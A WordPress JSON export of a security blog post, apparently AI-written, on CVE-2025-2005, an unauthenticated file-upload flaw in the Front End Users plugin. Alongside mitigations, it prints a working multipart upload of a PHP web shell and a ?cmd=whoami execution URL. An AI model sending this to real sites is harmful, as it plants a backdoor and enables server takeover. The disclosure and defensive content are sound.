{"id":20261,"date":"2025-04-09T08:24:40","date_gmt":"2025-04-09T08:24:40","guid":{"rendered":""},"modified":"2025-07-07T05:24:31","modified_gmt":"2025-07-07T11:24:31","slug":"cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/","title":{"rendered":"<strong>CVE-2025-2005:<\/strong> Critical Vulnerability in the WordPress plugin &#8220;Front End Users&#8221; (FEUP)"},"content":{"rendered":"<article class=\"text-token-text-primary w-full\" dir=\"auto\" data-testid=\"conversation-turn-86\" data-scroll-anchor=\"false\">\n<div class=\"text-base my-auto mx-auto py-5 [--thread-content-margin:--spacing(4)] @[37rem]:[--thread-content-margin:--spacing(6)] @[70rem]:[--thread-content-margin:--spacing(12)] px-(--thread-content-margin)\">\n<div class=\"[--thread-content-max-width:32rem] @[34rem]:[--thread-content-max-width:40rem] @[64rem]:[--thread-content-max-width:48rem] mx-auto flex max-w-(--thread-content-max-width) flex-1 text-base gap-4 md:gap-5 lg:gap-6 group\/turn-messages focus-visible:outline-hidden\" tabindex=\"-1\">\n<div class=\"group\/conversation-turn relative flex w-full min-w-0 flex-col agent-turn\">\n<div class=\"relative flex-col gap-1 md:gap-3\">\n<div class=\"flex max-w-full flex-col grow\">\n<div class=\"min-h-8 text-message relative flex w-full flex-col items-end gap-2 text-start break-words whitespace-normal [.text-message+&amp;]:mt-5\" dir=\"auto\" data-message-author-role=\"assistant\" data-message-id=\"24a8427e-5cac-4e41-b5de-0d5734778ee4\" data-message-model-slug=\"gpt-4o\">\n<div class=\"flex w-full flex-col gap-1 empty:hidden first:pt-[3px]\">\n<div class=\"markdown prose dark:prose-invert w-full break-words light\">\n<p class=\"\" data-start=\"0\" data-end=\"126\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">CVE-2025-2005 is a critical vulnerability in the WordPress plugin &#8220;Front End Users&#8221; (FEUP), versions up to and including 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution (RCE) on the affected server.<\/span><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/article>\n<article class=\"text-token-text-primary w-full\" dir=\"auto\" data-testid=\"conversation-turn-88\" data-scroll-anchor=\"true\">\n<div class=\"text-base my-auto mx-auto py-5 [--thread-content-margin:--spacing(4)] @[37rem]:[--thread-content-margin:--spacing(6)] @[70rem]:[--thread-content-margin:--spacing(12)] px-(--thread-content-margin)\">\n<div class=\"[--thread-content-max-width:32rem] @[34rem]:[--thread-content-max-width:40rem] @[64rem]:[--thread-content-max-width:48rem] mx-auto flex max-w-(--thread-content-max-width) flex-1 text-base gap-4 md:gap-5 lg:gap-6 group\/turn-messages focus-visible:outline-hidden\" tabindex=\"-1\">\n<div class=\"group\/conversation-turn relative flex w-full min-w-0 flex-col agent-turn\">\n<div class=\"relative flex-col gap-1 md:gap-3\">\n<div class=\"flex max-w-full flex-col grow\">\n<div class=\"min-h-8 text-message relative flex w-full flex-col items-end gap-2 text-start break-words whitespace-normal [.text-message+&amp;]:mt-5\" dir=\"auto\" data-message-author-role=\"assistant\" data-message-id=\"05adb094-9097-4a90-af86-51d90ab2879c\" data-message-model-slug=\"gpt-4o\">\n<div class=\"flex w-full flex-col gap-1 empty:hidden first:pt-[3px]\">\n<div class=\"markdown prose dark:prose-invert w-full break-words light\">\n<p class=\"\" data-start=\"133\" data-end=\"158\"><strong data-start=\"133\" data-end=\"158\">Vulnerability Summary<\/strong><\/p>\n<ul data-start=\"160\" data-end=\"777\">\n<li class=\"\" data-start=\"160\" data-end=\"255\">\n<p class=\"\" data-start=\"162\" data-end=\"255\"><strong data-start=\"162\" data-end=\"173\">CVE ID:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">CVE-2025-2005<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"256\" data-end=\"353\">\n<p class=\"\" data-start=\"258\" data-end=\"353\"><strong data-start=\"258\" data-end=\"271\">Severity:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Critical (CVSS 3.1 Score: 9.8)<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/cve.circl.lu\/vuln\/CVE-2025-2005?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CIRCL CVE<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">NVD<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"354\" data-end=\"456\">\n<p class=\"\" data-start=\"356\" data-end=\"456\"><strong data-start=\"356\" data-end=\"374\">Attack Vector:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Network<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/www.cve.org\/CVERecord?id=CVE-2005-0831&amp;utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CVE<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"457\" data-end=\"567\">\n<p class=\"\" data-start=\"459\" data-end=\"567\"><strong data-start=\"459\" data-end=\"483\">Privileges Required:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">None<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"568\" data-end=\"677\">\n<p class=\"\" data-start=\"570\" data-end=\"677\"><strong data-start=\"570\" data-end=\"591\">User Interaction:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">None<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"678\" data-end=\"777\">\n<p class=\"\" data-start=\"680\" data-end=\"777\"><strong data-start=\"680\" data-end=\"691\">Impact:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Allows unauthenticated attackers to upload arbitrary files, leading to potential RCE<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/github.com\/mrmtwoj\/CVE-2025-2005?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Aqua Vulnerability Database<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CIRCL CVE<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"784\" data-end=\"805\"><strong data-start=\"784\" data-end=\"805\">Affected Products<\/strong><\/p>\n<div class=\"pointer-events-none relative left-[50%] flex w-[100cqw] translate-x-[-50%] justify-center *:pointer-events-auto\">\n<div class=\"tableContainer horzScrollShadows\">\n<table class=\"min-w-full\" data-start=\"807\" data-end=\"1041\">\n<thead data-start=\"807\" data-end=\"853\">\n<tr data-start=\"807\" data-end=\"853\">\n<th data-start=\"807\" data-end=\"832\">Product<\/th>\n<th data-start=\"832\" data-end=\"853\">Affected Versions<\/th>\n<\/tr>\n<\/thead>\n<tbody data-start=\"901\" data-end=\"1041\">\n<tr data-start=\"901\" data-end=\"1041\">\n<td class=\"max-w-[calc(var(--thread-content-max-width)*2\/3)]\" data-start=\"901\" data-end=\"943\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Front End <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3054-arbitrary-file-upload-vulnerability-in-wp-user-frontend-pro-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"59232\">Users Plugin<\/a><\/span><\/td>\n<td class=\"max-w-[calc(var(--thread-content-max-width)*2\/3)]\" data-start=\"943\" data-end=\"994\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">\u2264 3.2.32<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<hr class=\"\" data-start=\"1043\" data-end=\"1046\" \/>\n<p class=\"\" data-start=\"1048\" data-end=\"1073\"><strong data-start=\"1048\" data-end=\"1073\">How the Exploit Works<\/strong><\/p>\n<p class=\"\" data-start=\"1075\" data-end=\"1240\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/\"  data-wpil-monitor-id=\"24578\">vulnerability arises from the plugin&#8217;s failure to validate file<\/a> types during the registration process.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">An attacker can craft a <code data-start=\"24\" data-end=\"45\">multipart\/form-data<\/code> POST <a class=\"wpil_keyword_link\" href=\"https:\/\/www.ameeba.com\"   title=\"request\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"24312\">request<\/a> to the registration form, including a malicious PHP file.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Despite the plugin renaming uploaded files with random hashes, if the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21318-remote-code-execution-in-microsoft-sharepoint-server-via-deserialization\/\"  data-wpil-monitor-id=\"25452\">server allows PHP execution<\/a> in the upload directory, the attacker can execute the uploaded script, leading to full system compromise.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/github.com\/mrmtwoj\/CVE-2025-2005?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><\/span><\/a><\/span><span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/github.com\/Nxploited\/CVE-2025-2005?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><\/span><\/span><\/a><\/span><\/p>\n<p class=\"\" data-start=\"1247\" data-end=\"1274\"><strong data-start=\"1247\" data-end=\"1274\">Conceptual Example Code<\/strong><\/p>\n<p class=\"\" data-start=\"1276\" data-end=\"1361\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Here&#8217;s a conceptual example of how an <a href=\"https:\/\/www.ameeba.com\/blog\/unmasking-tcesb-malware-a-deep-analysis-of-active-attacks-exploiting-eset-security-scanner\/\"  data-wpil-monitor-id=\"26884\">attacker might exploit<\/a> this vulnerability:<\/span>\u200b<\/p>\n<div class=\"contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary\">\n<div class=\"overflow-y-auto p-4\" dir=\"ltr\"><code class=\"whitespace-pre! language-http\">POST \/register\/ HTTP\/1.1<br \/>\nHost: vulnerable-site.com<br \/>\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary<\/p>\n<p>------WebKitFormBoundary<br \/>\nContent-Disposition: form-data; name=\"Username\"<\/p>\n<p>attacker<br \/>\n------WebKitFormBoundary<br \/>\nContent-Disposition: form-data; name=\"User_Password\"<\/p>\n<p>password123<br \/>\n------WebKitFormBoundary<br \/>\nContent-Disposition: form-data; name=\"Confirm_User_Password\"<\/p>\n<p>password123<br \/>\n------WebKitFormBoundary<br \/>\nContent-Disposition: form-data; name=\"malicious_file\"; filename=\"shell.php\"<br \/>\nContent-Type: application\/x-php<\/p>\n<p>&lt;?php system($_GET['cmd']); ?&gt;<br \/>\n------WebKitFormBoundary--<br \/>\n<\/code><\/div>\n<\/div>\n<p class=\"\" data-start=\"1960\" data-end=\"1999\">\n<p class=\"\" data-start=\"2001\" data-end=\"2086\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">After sending this request, the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2780-critical-arbitrary-file-upload-vulnerability-in-woffice-core-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"27342\">file would be uploaded<\/a> to the server, potentially accessible at:\u200b<\/p>\n<div class=\"contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary\">\n<div class=\"sticky top-9\">\n<div class=\"absolute end-0 bottom-0 flex h-9 items-center pe-2\">\n<div class=\"bg-token-sidebar-surface-primary text-token-text-secondary dark:bg-token-main-surface-secondary flex items-center rounded-sm px-2 font-sans text-xs\"><\/div>\n<\/div>\n<\/div>\n<div class=\"overflow-y-auto p-4\" dir=\"ltr\"><code class=\"whitespace-pre!\">http:<span class=\"hljs-comment\">\/\/vulnerable-site.com\/wp-content\/uploads\/ewd_feup_uploads\/[random_filename].php<\/span><br \/>\n<\/code><\/div>\n<\/div>\n<p class=\"\" data-start=\"2182\" data-end=\"2221\">\n<p class=\"\" data-start=\"2223\" data-end=\"2308\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">The attacker could then <a href=\"https:\/\/www.ameeba.com\/blog\/nsa-and-cyber-command-executives-withdraw-from-premier-cybersecurity-conference-unpacking-the-implications\/\"  data-wpil-monitor-id=\"29257\">execute commands<\/a> by accessing:\u200b<\/p>\n<div class=\"contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary\">\n<div class=\"overflow-y-auto p-4\" dir=\"ltr\"><code class=\"whitespace-pre!\">http:\/\/vulnerable-site.com\/wp-content\/uploads\/ewd_feup_uploads\/[random_filename].php?cmd=<span class=\"hljs-built_in\">whoami<\/span><br \/>\n<\/code><\/div>\n<\/div>\n<p class=\"\" data-start=\"2461\" data-end=\"2480\"><strong data-start=\"2461\" data-end=\"2480\">Potential Risks<\/strong><\/p>\n<ul data-start=\"2482\" data-end=\"2921\">\n<li class=\"\" data-start=\"2482\" data-end=\"2569\">\n<p class=\"\" data-start=\"2484\" data-end=\"2569\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Remote Code Execution (RCE)<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/github.com\/mrmtwoj\/CVE-2025-2005?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"2570\" data-end=\"2657\">\n<p class=\"\" data-start=\"2572\" data-end=\"2657\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Full system compromise<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"2658\" data-end=\"2745\">\n<p class=\"\" data-start=\"2660\" data-end=\"2745\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\"><a class=\"wpil_keyword_link\" href=\"https:\/\/chat.ameeba.com\"   title=\"Data\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"24313\">Data<\/a> exfiltration<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"2746\" data-end=\"2833\">\n<p class=\"\" data-start=\"2748\" data-end=\"2833\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Website defacement<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"2834\" data-end=\"2921\">\n<p class=\"\" data-start=\"2836\" data-end=\"2921\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\"><a class=\"wpil_keyword_link\" href=\"https:\/\/ameeba.com\"   title=\"Malware\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"24311\">Malware<\/a> deployment<\/span>\u200b<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"2928\" data-end=\"2958\"><strong data-start=\"2928\" data-end=\"2958\">Mitigation Recommendations<\/strong><\/p>\n<ul data-start=\"2960\" data-end=\"3405\">\n<li class=\"\" data-start=\"2960\" data-end=\"3066\">\n<p class=\"\" data-start=\"2962\" data-end=\"3066\"><strong data-start=\"2962\" data-end=\"2980\">Update Plugin:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Upgrade the Front End Users <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6735-privilege-escalation-vulnerability-in-checkmks-mk_tsm-agent-plugin\/\"  data-wpil-monitor-id=\"26883\">plugin to the latest version that addresses this vulnerability<\/a>.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/vulners.com\/cve\/CVE-2025-2005?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+5<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Vulners<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+5<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CIRCL CVE<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+5<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"3067\" data-end=\"3181\">\n<p class=\"\" data-start=\"3069\" data-end=\"3181\"><strong data-start=\"3069\" data-end=\"3095\">Restrict File Uploads:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Implement server-side checks to validate <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48243-critical-remote-code-execution-vulnerability-allowing-unauthorized-file-upload\/\"  data-wpil-monitor-id=\"34123\">file types and restrict executable<\/a> file uploads.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/avd.aquasec.com\/nvd\/2025\/cve-2025-2005\/?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+2<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Aqua Vulnerability Database<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+2<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+2<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"3182\" data-end=\"3296\">\n<p class=\"\" data-start=\"3184\" data-end=\"3296\"><strong data-start=\"3184\" data-end=\"3210\">Disable PHP Execution:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Configure the server to prevent PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20282-unauthenticated-file-upload-and-execution-vulnerability-in-cisco-ise-and-ise-pic\/\"  data-wpil-monitor-id=\"64492\">execution in the upload<\/a> directories.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/github.com\/Nxploited\/CVE-2025-2005?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"3297\" data-end=\"3405\">\n<p class=\"\" data-start=\"3299\" data-end=\"3405\"><strong data-start=\"3299\" data-end=\"3319\">Monitor Uploads:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Regularly scan the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2328-arbitrary-file-deletion-vulnerability-in-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin\/\"  data-wpil-monitor-id=\"29564\">upload directories for unauthorized files<\/a>.<\/span>\u200b<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"3412\" data-end=\"3426\"><strong data-start=\"3412\" data-end=\"3426\">Conclusion<\/strong><\/p>\n<p class=\"\" data-start=\"3428\" data-end=\"3553\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">CVE-2025-2005 poses a significant threat to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6532-cross-site-request-forgery-vulnerability-in-wp-blogs-planetarium-wordpress-plugin-vulnerability-summary\/\"  data-wpil-monitor-id=\"25032\">WordPress sites using vulnerable versions of the Front End<\/a> Users plugin.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Immediate action is required to patch the vulnerability, implement proper file validation, and ensure server configurations prevent unauthorized <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-29048-remote-code-execution-via-oxmf-template-injection-in-open-xchange-app-suite\/\"  data-wpil-monitor-id=\"24570\">code execution<\/a>.<\/span>\u200b<\/p>\n<p class=\"\" data-start=\"3560\" data-end=\"3574\"><strong data-start=\"3560\" data-end=\"3574\">References<\/strong><\/p>\n<ul data-start=\"3576\" data-end=\"3917\">\n<li class=\"\" data-start=\"3576\" data-end=\"3647\">\n<p class=\"\" data-start=\"3578\" data-end=\"3647\"><a class=\"\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-2005\" target=\"_new\" rel=\"noopener\" data-start=\"3578\" data-end=\"3647\">NVD \u2013 CVE-2025-2005<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"3648\" data-end=\"3777\">\n<p class=\"\" data-start=\"3650\" data-end=\"3777\"><a target=\"_new\" rel=\"noopener\" data-start=\"3650\" data-end=\"3777\">Wordfence Advisory<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"3778\" data-end=\"3849\">\n<p class=\"\" data-start=\"3780\" data-end=\"3849\"><a class=\"\" href=\"https:\/\/github.com\/Nxploited\/CVE-2025-2005\" target=\"_new\" rel=\"noopener\" data-start=\"3780\" data-end=\"3849\">GitHub PoC by Nxploited<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"3850\" data-end=\"3917\">\n<p class=\"\" data-start=\"3852\" data-end=\"3917\"><a class=\"\" href=\"https:\/\/github.com\/mrmtwoj\/CVE-2025-2005\" target=\"_new\" rel=\"noopener\" data-start=\"3852\" data-end=\"3917\">GitHub PoC by mrmtwoj<\/a><\/p>\n<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/article>\n","protected":false},"excerpt":{"rendered":"<p>CVE-2025-2005 is a critical vulnerability in the WordPress plugin &#8220;Front End Users&#8221; (FEUP), versions up to and including 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution (RCE) on the affected server. Vulnerability Summary CVE ID: CVE-2025-2005\u200b Severity: Critical (CVSS 3.1 Score: 9.8)\u200bCIRCL CVE+1NVD+1 Attack Vector: Network\u200bCVE Privileges [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[79],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-20261","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-github","attack_vector-rce"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.4 - aioseo.com -->\n\t<meta name=\"description\" content=\"CVE-2025-2005 is a critical vulnerability in the WordPress plugin &quot;Front End Users&quot; (FEUP), versions up to and including 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution (RCE) on the affected server. Vulnerability Summary CVE ID: CVE-2025-2005\u200b Severity: Critical (CVSS 3.1 Score: 9.8)\u200bCIRCL CVE+1NVD+1 Attack Vector: Network\u200bCVE Privileges\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Ameeba\"\/>\n\t<link rel=\"canonical\" 